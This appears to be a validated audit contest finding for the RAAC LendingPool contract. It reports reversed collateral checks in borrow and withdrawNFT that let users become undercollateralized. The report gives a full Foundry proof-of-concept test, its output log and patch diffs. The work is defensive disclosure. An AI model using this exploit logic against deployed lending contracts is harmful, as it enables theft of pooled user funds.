Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Incorrect Collateral Calculation in LendingPool Functions Leads to Undercollateralized Withdrawals

Summary

The LendingPool contract enables users to deposit reserve assets in exchange for interest-bearing RTokens and to deposit RAACHouse NFTs as collateral. Users can borrow reserve assets based on their collateral and later withdraw their NFTs. However, two critical functions—borrow and withdrawNFT—have flawed collateral checks. Instead of correctly applying the liquidation threshold to the user's total collateral, the functions apply the threshold to either the additional debt or the existing debt. As a result, the protocol may allow borrowings or NFT withdrawals that leave users undercollateralized, thereby increasing the risk of defaults and potential liquidations.

Vulnerability Details

1. Flawed Check in withdrawNFT

How It Begins

When a user attempts to withdraw an NFT, the contract:

  • Updates the reserve state.

  • Verifies that the NFT is deposited.

  • Calculates the user's total collateral via all deposited NFTs and fetches the NFT’s individual value.

  • Retrieves the user's current debt.

  • Performs a collateral check using this incorrect calculation:

uint256 userDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex);
uint256 collateralValue = getUserCollateralValue(msg.sender);
uint256 nftValue = getNFTPrice(tokenId);
// @info: wrong calculation
if (collateralValue - nftValue < userDebt.percentMul(liquidationThreshold)) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}

Correct Calculation

The intended logic should apply the liquidation threshold to the adjusted collateral value (collateral value minus the NFT value) and then compare it to the debt:

if ((collateralValue - nftValue).percentMul(liquidationThreshold) < userDebt) {
revert WithdrawalWouldLeaveUserUnderCollateralized();
}

2. Flawed Check in borrow

How It Begins

When a user borrows assets, the contract:

  • Verifies the user's collateral.

  • Updates the reserve state.

  • Ensures liquidity is available.

  • Computes the total debt the user would have after the new borrow.

  • Checks if the collateral is sufficient with this incorrect calculation:

uint256 collateralValue = getUserCollateralValue(msg.sender);
...
// Fetch user's total debt after borrowing
uint256 userTotalDebt = user.scaledDebtBalance.rayMul(reserve.usageIndex) + amount;
// Ensure the user has enough collateral to cover the new debt
// @info: wrong calculation
if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
revert NotEnoughCollateralToBorrow();
}

Correct Calculation

The proper approach is to apply the liquidation threshold to the total collateral value before comparing it to the new total debt:

if (collateralValue.percentMul(liquidationThreshold) < userTotalDebt) {
revert NotEnoughCollateralToBorrow();
}

Supporting Functions

The following functions are used to compute key financial metrics that affect these checks:

function calculateHealthFactor(address userAddress) public view returns (uint256) {
uint256 collateralValue = getUserCollateralValue(userAddress);
uint256 userDebt = getUserDebt(userAddress);
if (userDebt < 1) return type(uint256).max;
uint256 collateralThreshold = collateralValue.percentMul(liquidationThreshold);
return (collateralThreshold * 1e18) / userDebt;
}
function getUserCollateralValue(address userAddress) public view returns (uint256) {
UserData storage user = userData[userAddress];
uint256 totalValue = 0;
for (uint256 i = 0; i < user.nftTokenIds.length; i++) {
uint256 tokenId = user.nftTokenIds[i];
uint256 price = getNFTPrice(tokenId);
totalValue += price;
}
return totalValue;
}
function getUserDebt(address userAddress) public view returns (uint256) {
UserData storage user = userData[userAddress];
return user.scaledDebtBalance.rayMul(reserve.usageIndex);
}

These functions calculate the user's total collateral value, their outstanding debt, and ultimately the health factor, which is used to decide whether a borrowing or withdrawal action would leave the user undercollateralized.

Proof of Concept

Test Suite Walkthrough and Scenario Examples

Scenario Example

  1. Collateral Deposit and NFT Minting:

    • A user (Alice) deposits 2000e18 reserve assets into the LendingPool, ensuring sufficient liquidity.

    • Alice mints two RAACHouse NFTs, each valued at 1000e18, resulting in a total collateral value of 2000e18.

  2. Borrowing Against Collateral:

    • Alice borrows 900e18. Before borrowing, her health factor (calculated via calculateHealthFactor) remains above the minimum threshold.

    • The borrow function calculates the total debt after borrowing and checks if the collateral is adequate using the flawed condition.

  3. Exploitation via Borrow Function Bug:

    • With the incorrect check in borrow, the system might approve a borrow even when the adjusted collateral (after applying the liquidation threshold correctly) would be insufficient.

    • This results in Alice acquiring additional debt despite not having enough collateral when the proper calculation is considered.

  4. Exploitation via NFT Withdrawal Bug:

    • Post-borrow, if Alice attempts to withdraw one of her NFTs, her adjusted collateral drops further.

    • Despite her health factor falling below the acceptable threshold, the flawed check in withdrawNFT permits the withdrawal.

    • This allows Alice to undercollateralize her position further, increasing the risk of default.

  5. Test Suite Code:

    // SPDX-License-Identifier: MIT
    pragma solidity ^0.8.19;
    import {Test, console} from "forge-std/Test.sol";
    import {StabilityPool} from "../src/core/pools/StabilityPool/StabilityPool.sol";
    import {LendingPool} from "../src/core/pools/LendingPool/LendingPool.sol";
    import {DEToken} from "../src/core/tokens/DEToken.sol";
    import {RToken} from "../src/core/tokens/RToken.sol";
    import {DebtToken} from "../src/core/tokens/DebtToken.sol";
    import {RAACToken} from "../src/core/tokens/RAACToken.sol";
    import {RAACMinter} from "../src/core/minters/RAACMinter/RAACMinter.sol";
    import {RAACHousePrices} from "../src/core/primitives/RAACHousePrices.sol";
    import {RAACNFT} from "../src/core/tokens/RAACNFT.sol";
    import {CurveCrvUSDVaultMock} from "./mocks/CurveCrvUSDVaultMock.m.sol";
    import {crvUSDToken} from "../src/mocks/core/tokens/crvUSDToken.sol";
    import {ERC20Mock} from "../src/mocks/core/tokens/ERC20Mock.sol";
    import {ILendingPool} from "../src/interfaces/core/pools/LendingPool/ILendingPool.sol";
    import {PercentageMath} from "../src/libraries/math/PercentageMath.sol";
    import {WadRayMath} from "../src/libraries/math/WadRayMath.sol";
    contract PoolsTest is Test {
    using PercentageMath for uint256;
    using WadRayMath for uint256;
    // contracts
    StabilityPool stabilityPool;
    LendingPool lendingPool;
    DEToken deToken;
    RToken rToken;
    DebtToken debtToken;
    RAACToken raacToken;
    RAACMinter raacMinter;
    RAACHousePrices raacHousePrices;
    RAACNFT raacNft;
    CurveCrvUSDVaultMock curveCrvUsdVault;
    crvUSDToken crvUsdToken;
    ERC20Mock erc20Mock;
    // owners
    address STABILITY_POOL_OWNER = makeAddr("STABILITY_POOL_OWNER");
    address LENDING_POOL_OWNER = makeAddr("LENDING_POOL_OWNER");
    address DETOKEN_OWNER = makeAddr("DETOKEN_OWNER");
    address RTOKEN_OWNER = makeAddr("RTOKEN_OWNER");
    address DEBT_TOKEN_OWNER = makeAddr("DEBT_TOKEN_OWNER");
    address RAAC_TOKEN_OWNER = makeAddr("RAAC_TOKEN_OWNER");
    address RAAC_MINTER_DUMMY = makeAddr("RAAC_MINTER_DUMMY");
    address RAAC_HOUSE_PRICES_OWNER = makeAddr("RAAC_HOUSE_PRICES_OWNER");
    address RAAC_HOUSE_PRICES_ORACLE = makeAddr("RAAC_HOUSE_PRICES_ORACLE");
    address CRV_USD_TOKEN_OWENR = makeAddr("CRV_USD_TOKEN_OWENR");
    address CURVE_CRV_USD_VAULT_OWENR = makeAddr("CURVE_CRV_USD_VAULT_OWENR");
    address ERC20_MOCK_TOKEN_OWNER = makeAddr("ERC20_MOCK_TOKEN_OWNER");
    address RAAC_NFT_TOKEN_OWNER = makeAddr("RAAC_NFT_TOKEN_OWNER");
    address RAAC_MINTER_OWNER = makeAddr("RAAC_MINTER_OWNER");
    address RAAC_OWNER = makeAddr("RAAC_OWNER");
    // users
    address ALICE = makeAddr("ALICE");
    address BOB = makeAddr("BOB");
    address CHARLIE = makeAddr("CHARLIE");
    address DEVIL = makeAddr("DEVIL");
    // managers
    address MANAGER_1 = makeAddr("MANAGER_1");
    address MANAGER_2 = makeAddr("MANAGER_2");
    address MANAGER_3 = makeAddr("MANAGER_3");
    address MANAGER_4 = makeAddr("MANAGER_4");
    address MANAGER_5 = makeAddr("MANAGER_5");
    address MANAGER_6 = makeAddr("MANAGER_6");
    address MANAGER_7 = makeAddr("MANAGER_7");
    address MANAGER_8 = makeAddr("MANAGER_8");
    address MANAGER_9 = makeAddr("MANAGER_9");
    address MANAGER_10 = makeAddr("MANAGER_10");
    uint256 initialPrimeRate = 5e27;
    uint256 initialRaacSwapTaxRateInBps = 200; // 2%, 10000 - 100%
    uint256 initialRaacBurnTaxRateInBps = 150; // 1.5%, 10000 - 100%
    function setUp() public {
    vm.warp(block.timestamp + 1 days + 1);
    vm.startPrank(CRV_USD_TOKEN_OWENR);
    crvUsdToken = new crvUSDToken(CRV_USD_TOKEN_OWENR);
    vm.stopPrank();
    vm.startPrank(CURVE_CRV_USD_VAULT_OWENR);
    curveCrvUsdVault = new CurveCrvUSDVaultMock(address(crvUsdToken), CURVE_CRV_USD_VAULT_OWENR);
    vm.stopPrank();
    vm.startPrank(RTOKEN_OWNER);
    rToken = new RToken("R_Token_V1", "RTKNV1", RTOKEN_OWNER, address(crvUsdToken));
    vm.stopPrank();
    vm.startPrank(DETOKEN_OWNER);
    deToken = new DEToken("DE_Token_V1", "DETKNV1", DETOKEN_OWNER, address(rToken));
    vm.stopPrank();
    vm.startPrank(DEBT_TOKEN_OWNER);
    debtToken = new DebtToken("DEBT_TOKEN_V1", "DEBTKNV1", DEBT_TOKEN_OWNER);
    vm.stopPrank();
    vm.startPrank(ERC20_MOCK_TOKEN_OWNER);
    erc20Mock = new ERC20Mock("ERC20_MOCK_TOKEN", "ERC20MTKN");
    vm.stopPrank();
    vm.startPrank(RAAC_HOUSE_PRICES_OWNER);
    raacHousePrices = new RAACHousePrices(RAAC_HOUSE_PRICES_OWNER);
    vm.stopPrank();
    vm.startPrank(RAAC_NFT_TOKEN_OWNER);
    raacNft = new RAACNFT(address(erc20Mock), address(raacHousePrices), RAAC_NFT_TOKEN_OWNER);
    vm.stopPrank();
    vm.startPrank(RAAC_OWNER);
    raacToken = new RAACToken(RAAC_OWNER, initialRaacSwapTaxRateInBps, initialRaacBurnTaxRateInBps);
    vm.stopPrank();
    vm.startPrank(LENDING_POOL_OWNER);
    lendingPool = new LendingPool(
    address(crvUsdToken),
    address(rToken),
    address(debtToken),
    address(raacNft),
    address(raacHousePrices),
    initialPrimeRate
    );
    vm.stopPrank();
    vm.startPrank(STABILITY_POOL_OWNER);
    stabilityPool = new StabilityPool(STABILITY_POOL_OWNER);
    vm.stopPrank();
    vm.startPrank(RAAC_MINTER_OWNER);
    raacMinter = new RAACMinter(address(raacToken), address(stabilityPool), address(lendingPool), RAAC_MINTER_OWNER);
    vm.stopPrank();
    vm.startPrank(RAAC_OWNER);
    raacToken.setMinter(address(raacMinter));
    vm.stopPrank();
    vm.startPrank(LENDING_POOL_OWNER);
    lendingPool.setCurveVault(address(curveCrvUsdVault));
    vm.stopPrank();
    vm.startPrank(RTOKEN_OWNER);
    rToken.setReservePool(address(lendingPool));
    vm.stopPrank();
    vm.startPrank(DEBT_TOKEN_OWNER);
    debtToken.setReservePool(address(lendingPool));
    vm.stopPrank();
    vm.startPrank(STABILITY_POOL_OWNER);
    stabilityPool.initialize(
    address(rToken),
    address(deToken),
    address(raacToken),
    address(raacMinter),
    address(crvUsdToken),
    address(lendingPool)
    );
    vm.stopPrank();
    crvUsdToken.mint(address(lendingPool), 1000_000_000e18);
    }
    function testWrongUnderLiquidationLogic() public {
    uint256 tokenId = 1;
    uint256 housePrice = 1000e18;
    vm.startPrank(RAAC_HOUSE_PRICES_OWNER);
    // set oracle
    raacHousePrices.setOracle(RAAC_HOUSE_PRICES_ORACLE);
    vm.stopPrank();
    vm.startPrank(RAAC_HOUSE_PRICES_ORACLE);
    // house price in USD
    raacHousePrices.setHousePrice(tokenId, housePrice);
    raacHousePrices.setHousePrice(tokenId + 1, housePrice);
    vm.stopPrank();
    // ensure alice has sufficient balance
    crvUsdToken.mint(ALICE, 2000e18);
    vm.startPrank(ALICE);
    crvUsdToken.approve(address(lendingPool), 2000e18);
    // deposit 2000e18 into lending pool to have some liquidity
    lendingPool.deposit(2000e18);
    vm.stopPrank();
    // alice pays in erc20 to mint nft
    erc20Mock.mint(ALICE, housePrice * 2);
    vm.startPrank(ALICE);
    erc20Mock.approve(address(raacNft), housePrice * 2);
    // mint 2 nfts with tokenIds 1,2
    raacNft.mint(tokenId, housePrice);
    raacNft.mint(tokenId + 1, housePrice);
    vm.stopPrank();
    vm.startPrank(ALICE);
    raacNft.approve(address(lendingPool), tokenId);
    raacNft.approve(address(lendingPool), tokenId + 1);
    // deposit nfts into lending pool
    lendingPool.depositNFT(tokenId);
    lendingPool.depositNFT(tokenId + 1);
    vm.stopPrank();
    (
    uint256[] memory nftTokenIds,
    uint256 scaledDebtBalance,
    uint256 userCollateralValue,
    bool isUserUnderLiquidation,
    uint256 liquidityIndex,
    uint256 usageIndex,
    uint256 totalLiquidity,
    uint256 totalUsage
    ) = lendingPool.getAllUserData(ALICE);
    console.log("After depositNFT... ");
    console.log("nftTokenIds: ", nftTokenIds[0]);
    console.log("scaledDebtBalance: ", scaledDebtBalance);
    console.log("userCollateralValue: ", userCollateralValue);
    console.log("isUserUnderLiquidation: ", isUserUnderLiquidation);
    console.log("liquidityIndex: ", liquidityIndex);
    console.log("usageIndex: ", usageIndex);
    console.log("totalLiquidity: ", totalLiquidity);
    console.log("totalUsage: ", totalUsage);
    uint256 borrowAmount = 900e18;
    vm.startPrank(ALICE);
    // borrow 900e18
    lendingPool.borrow(borrowAmount);
    vm.stopPrank();
    (
    nftTokenIds,
    scaledDebtBalance,
    userCollateralValue,
    isUserUnderLiquidation,
    liquidityIndex,
    usageIndex,
    totalLiquidity,
    totalUsage
    ) = lendingPool.getAllUserData(ALICE);
    console.log("After borrow... ");
    console.log("nftTokenIds: ", nftTokenIds[0]);
    console.log("scaledDebtBalance: ", scaledDebtBalance);
    console.log("userCollateralValue: ", userCollateralValue);
    console.log("isUserUnderLiquidation: ", isUserUnderLiquidation);
    console.log("liquidityIndex: ", liquidityIndex);
    console.log("usageIndex: ", usageIndex);
    console.log("totalLiquidity: ", totalLiquidity);
    console.log("totalUsage: ", totalUsage);
    // alice's current health factor should be greater than 1
    uint256 healthFactor = lendingPool.calculateHealthFactor(ALICE);
    console.log("alice current health factor: ", healthFactor);
    assert(healthFactor >= lendingPool.BASE_HEALTH_FACTOR_LIQUIDATION_THRESHOLD());
    // alice has 2000e18 collateral
    uint256 aliceCollateralValue = lendingPool.getUserCollateralValue(ALICE);
    // alice has 900e18 debt
    uint256 aliceDebtBalance = lendingPool.getUserDebt(ALICE);
    // tokendId = 2 is of 1000e18 value
    // alice has 2 tokenIds of 1000e18 each
    // adjusted collateral value = 2000e18 - 1000e18 = 1000e18
    uint256 aliceAdjustedCollateralValue = aliceCollateralValue - 1000e18;
    uint256 liquidationThreshold = lendingPool.liquidationThreshold();
    uint256 collateralThreshold = (aliceAdjustedCollateralValue.percentMul(liquidationThreshold));
    uint256 calcHealthFactor = (collateralThreshold * 1e18) / aliceDebtBalance;
    console.log("alice's collateral after deducting withdraw amount: ", aliceAdjustedCollateralValue);
    console.log("liquidation threshold : ", collateralThreshold);
    console.log("collateral threshold : ", collateralThreshold);
    console.log("alice's debt balance : ", aliceDebtBalance);
    console.log("alice calculated health factor : ", calcHealthFactor);
    assert(calcHealthFactor < lendingPool.BASE_HEALTH_FACTOR_LIQUIDATION_THRESHOLD());
    vm.startPrank(ALICE);
    // nft withdrawal should fail as alice went under liquidation during borrow
    // and on nft withdrawal alice's health factor is less than 1
    // so alice should not be able to withdraw nft
    // however, a bug in the code allows alice to withdraw nft even when she is under liquidation
    lendingPool.withdrawNFT(tokenId);
    vm.stopPrank();
    (
    nftTokenIds,
    scaledDebtBalance,
    userCollateralValue,
    isUserUnderLiquidation,
    liquidityIndex,
    usageIndex,
    totalLiquidity,
    totalUsage
    ) = lendingPool.getAllUserData(ALICE);
    console.log("After withdraw... ");
    console.log("nftTokenIds: ", nftTokenIds[0]);
    console.log("scaledDebtBalance: ", scaledDebtBalance);
    console.log("userCollateralValue: ", userCollateralValue);
    console.log("isUserUnderLiquidation: ", isUserUnderLiquidation);
    console.log("liquidityIndex: ", liquidityIndex);
    console.log("usageIndex: ", usageIndex);
    console.log("totalLiquidity: ", totalLiquidity);
    console.log("totalUsage: ", totalUsage);
    assertEq(nftTokenIds.length, 1);
    uint256 aliceCurrentHealthFactor = lendingPool.calculateHealthFactor(ALICE);
    console.log("aliceCurrentHealthFactor: ", aliceCurrentHealthFactor);
    assertEq(aliceCurrentHealthFactor, calcHealthFactor);
    }
    }

Output Log

[⠒] Compiling...
No files changed, compilation skipped
Ran 1 test for test/PoolsTest.t.sol:PoolsTest
[PASS] testWrongUnderLiquidationLogic() (gas: 1240970)
Logs:
After depositNFT...
nftTokenIds: 1
scaledDebtBalance: 0
userCollateralValue: 2000000000000000000000
isUserUnderLiquidation: false
liquidityIndex: 1000000000000000000000000000
usageIndex: 1000000000000000000000000000
totalLiquidity: 2000000000000000000000
totalUsage: 0
After borrow...
nftTokenIds: 1
scaledDebtBalance: 900000000000000000000
userCollateralValue: 2000000000000000000000
isUserUnderLiquidation: false
liquidityIndex: 1000000000000000000000000000
usageIndex: 1000000000000000000000000000
totalLiquidity: 1100000000000000000000
totalUsage: 900000000000000000000
alice current health factor: 1777777777777777777
alice's collateral after deducting withdraw amount: 1000000000000000000000
liquidation threshold : 800000000000000000000
collateral threshold : 800000000000000000000
alice's debt balance : 900000000000000000000
alice calculated health factor : 888888888888888888
After withdraw...
nftTokenIds: 2
scaledDebtBalance: 900000000000000000000
userCollateralValue: 1000000000000000000000
isUserUnderLiquidation: false
liquidityIndex: 1000000000000000000000000000
usageIndex: 1000000000000000000000000000
totalLiquidity: 1100000000000000000000
totalUsage: 900000000000000000000
aliceCurrentHealthFactor: 888888888888888888
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.31ms (1.58ms CPU time)
Ran 1 test suite in 13.66ms (8.31ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

How to Run the Test

  1. Create a Foundry Project:

    forge init my-foundry-project
  2. Place Contract Files:
    Ensure that all contracts (LendingPool.sol, RAACNFT.sol, RAACHousePrices.sol, etc.) are placed in the src directory.

  3. Create Test Directory:
    Create a test directory adjacent to src and add the test file (e.g., PoolsTest.t.sol).

  4. Run the Test:

forge test --mt testWrongUnderLiquidationLogic -vv --via-ir

Impact

  • Collateral Integrity Breach:
    The flawed collateral checks in both borrow and withdrawNFT allow users to borrow more funds or withdraw NFTs even when such actions would leave them undercollateralized. This increases the risk of defaults.

  • Economic Exploitation:
    Malicious actors can exploit these miscalculations to intentionally undercollateralize their positions, potentially triggering a cascade of liquidations that destabilize the protocol.

  • Systemic Risk:
    While the issues primarily impact individual user positions, widespread exploitation could erode user trust, impair protocol stability, and lead to significant financial losses.

Tools Used

  • Manual Review

  • Foundry (Forge)

Recommendations

To remediate these issues, update the collateral checks in both the borrow and withdrawNFT functions to correctly apply the liquidation threshold to the appropriate collateral values.

1. Update in withdrawNFT

@@ In LendingPool.sol, function withdrawNFT:
- // @info: wrong calculation
- if (collateralValue - nftValue < userDebt.percentMul(liquidationThreshold)) {
- revert WithdrawalWouldLeaveUserUnderCollateralized();
- }
+ // Corrected calculation: apply the liquidation threshold to the adjusted collateral value
+ if ((collateralValue - nftValue).percentMul(liquidationThreshold) < userDebt) {
+ revert WithdrawalWouldLeaveUserUnderCollateralized();
+ }

2. Update in borrow

@@ In LendingPool.sol, function borrow:
- // Ensure the user has enough collateral to cover the new debt
- // @info: wrong calculation
- if (collateralValue < userTotalDebt.percentMul(liquidationThreshold)) {
- revert NotEnoughCollateralToBorrow();
- }
+ // Corrected calculation: apply the liquidation threshold to the collateral value
+ if (collateralValue.percentMul(liquidationThreshold) < userTotalDebt) {
+ revert NotEnoughCollateralToBorrow();
+ }

After applying these patches, rerun the test suite to ensure that the collateral requirements are now enforced correctly in both borrowing and NFT withdrawal scenarios.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

LendingPool::borrow as well as withdrawNFT() reverses collateralization check, comparing collateral < debt*0.8 instead of collateral*0.8 > debt, allowing 125% borrowing vs intended 80%

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!